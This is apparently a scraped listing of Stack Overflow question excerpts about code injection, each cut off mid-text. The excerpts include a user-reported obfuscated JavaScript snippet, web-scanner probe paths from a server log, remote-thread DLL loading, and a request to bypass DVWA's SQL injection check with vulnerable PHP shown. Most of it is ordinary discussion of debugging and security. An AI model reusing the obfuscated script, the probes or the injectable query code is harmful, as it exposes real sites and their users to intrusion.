code-injection

Ansi C patch using dlsym compiles OK under linux but fails on Mac Os X

我只是一个虾纸丫 提交于 2019-12-06 06:28:58
问题 I have build a little patch to append to a certain application and trace the invocations of some functions. Among them, malloc() and open(). I am using dlsym to store the pointer to the original symbol and replace the function name with my own. It compiles -and works- perfectly under linux. Here's the code: #define _GNU_SOURCE #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdarg.h> #include <dlfcn.h> /** * Interponemos nuestra funcion open * * @param char* filename *

“Injection” concerns for Cypher over REST

╄→尐↘猪︶ㄣ 提交于 2019-12-06 06:10:51
I was wondering if there is a concern for query injection when I query over REST? Parameterizing the query definitely makes things more cleaner but I was also able to query with string concatenation to manipulate properties and labels. I find the latter approach being more flexible because at times I can't query the way I want it following the paradigm of parameters. ( Can I parameterize labels and properties on CREATE or SET? (REST and transaction) ) If there is no worries of some sort of injection is it a security risk to concat query strings? I personally do not have too deep of an

Is this dangerous Javascript?

泄露秘密 提交于 2019-12-06 05:52:37
问题 <script> (function($$) { d = "(@(){ %H=@( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=@( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0

Is someone trying to hack my server? Please tell me what can I do? [closed]

浪子不回头ぞ 提交于 2019-12-06 05:19:14
问题 Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 5 years ago . I found these requests in my servers log file. I am using nodejs on amazon EC2. /manager/html / /manager/html /manager/html /muieblackcat //phpMyAdmin/scripts/setup.php //phpmyadmin/scripts/setup.php //pma/scripts/setup.php //myadmin/scripts/setup.php //MyAdmin/scripts/setup.php /manager/html /manager/html http:

GetModuleHandleA fails to get modules not used by python.exe when attached to another process

Deadly 提交于 2019-12-06 04:10:43
I am working with Grey Hat Python book at the moment. It describes on how to create a debugger in python. So far my debugger is able to start the process and attach to it. The problem happens when I try to retrieve a module handle from the process. According to OllyDbg the DLL is present in the program, but GetModuleHandleA fails to get a handle. I improved a code from the book a little bit so in case GetModuleHandleA fails to retrieve a handle the function will try to create a remote thread and force to load this module into the process. But even so it GetModuleHandleA fails (while everything

Mockito injection not working for constructor AND setter mocks together

大城市里の小女人 提交于 2019-12-06 02:49:41
问题 I have a class that has members injected through constructors, and OTHERS through setters. I can't seem to get Mockito to inject the setter ones. The constructor-injected are mocked fine, but the setter ones come back as null. When I flipped the setter-ed members to constructor- injected, all is well. here is the original production code: @Autowired private BetRepository betRepository; public void setBetRepository(BetRepository betRepository) { this.betRepository = betRepository; } public

PHP/C++: Inject values into EXE file [closed]

為{幸葍}努か 提交于 2019-12-06 02:49:13
问题 Closed . This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 5 years ago . I would like to inject a value into an EXE file on the fly. A company I have dealt with in the past have given me a EXE "stub" which I can use PHP to inject a value into on the fly before the user downloads it. I can't find anything on Google as I don't know the name of this

Bypass php is_numeric() function is possible?

痞子三分冷 提交于 2019-12-06 02:15:10
I am currently looking for a pass (not blind) high level of category sql injection application dvwa. Can not find the solution even if there are some ideas and tools that make life easier. source code form is as follows for the fans: if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first =

PHP SQL Injection Prevention With String Operations [duplicate]

时光总嘲笑我的痴心妄想 提交于 2019-12-06 00:50:54
This question already has answers here : Closed 7 years ago . Possible Duplicate: Best way to prevent SQL injection in PHP? I have been doing some research about SQL Injection but I have some questions that I couldn't find answer to. Isn't it possible to prevent SQL injection attacks on string levels? What I mean is, can't we prevent it by; Finding illegal characters before processing them through mysql queries? $postID = $_POST['id']; if($postID contains characters) remove characters; if($postID still contains characters) then exit; else mysql_real_escape_string($postID); //just in case?

calling javascript from eclipse for PhoneGap

﹥>﹥吖頭↗ 提交于 2019-12-06 00:16:06
I am trying to load a website using Phonegap on Android with the following code: public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); super.setBooleanProperty("loadInWebView", true); super.loadUrl("http://arriva.com.mt"); } How would I execute a local javascript file on the webview? wade montague I was having problems with this but managed to resolve it myself in the end. In your Activity you have super.loadUrl("javascript:yourFunction()"); within your code -- make sure you have a window scoped function to fire window.yourFunction = function() . As you're using